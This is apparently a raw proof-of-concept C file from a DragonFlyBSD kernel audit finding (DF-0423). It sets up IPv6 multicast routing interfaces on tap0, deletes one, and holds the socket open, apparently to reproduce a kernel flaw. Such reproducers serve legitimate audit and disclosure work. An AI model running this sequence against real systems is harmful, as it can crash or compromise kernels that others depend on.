DragonFlyBSD Kernel Audit
DF-0423 / setup423.c
← back to finding ↓ download raw
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet6/ip6_mroute.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(void){
  int s=socket(AF_INET6,SOCK_RAW,IPPROTO_ICMPV6);
  long one=1; struct mif6ctl mc; mifi_t mif; struct ifreq ifr;
  if(setsockopt(s,IPPROTO_IPV6,MRT6_INIT,&one,sizeof(one))<0)perror("INIT");
  memset(&ifr,0,sizeof(ifr)); strlcpy(ifr.ifr_name,"tap0",sizeof(ifr.ifr_name));
  ioctl(s,SIOCGIFINDEX,&ifr); unsigned int ti=ifr.ifr_index;
  printf("tap0 ifindex=%u\n",ti);
  memset(&mc,0,sizeof(mc)); mc.mif6c_mifi=0; mc.mif6c_flags=MIFF_REGISTER; mc.mif6c_pifi=ti;
  if(setsockopt(s,IPPROTO_IPV6,MRT6_ADD_MIF,&mc,sizeof(mc))<0)perror("ADD reg");
  memset(&mc,0,sizeof(mc)); mc.mif6c_mifi=1; mc.mif6c_flags=0; mc.mif6c_pifi=ti;
  if(setsockopt(s,IPPROTO_IPV6,MRT6_ADD_MIF,&mc,sizeof(mc))<0)perror("ADD phy");
  mif=0;
  if(setsockopt(s,IPPROTO_IPV6,MRT6_DEL_MIF,&mif,sizeof(mif))<0)perror("DEL");
  printf("setup done, sleeping 90s (socket open)...\n"); fflush(stdout);
  sleep(90);
  return 0;
}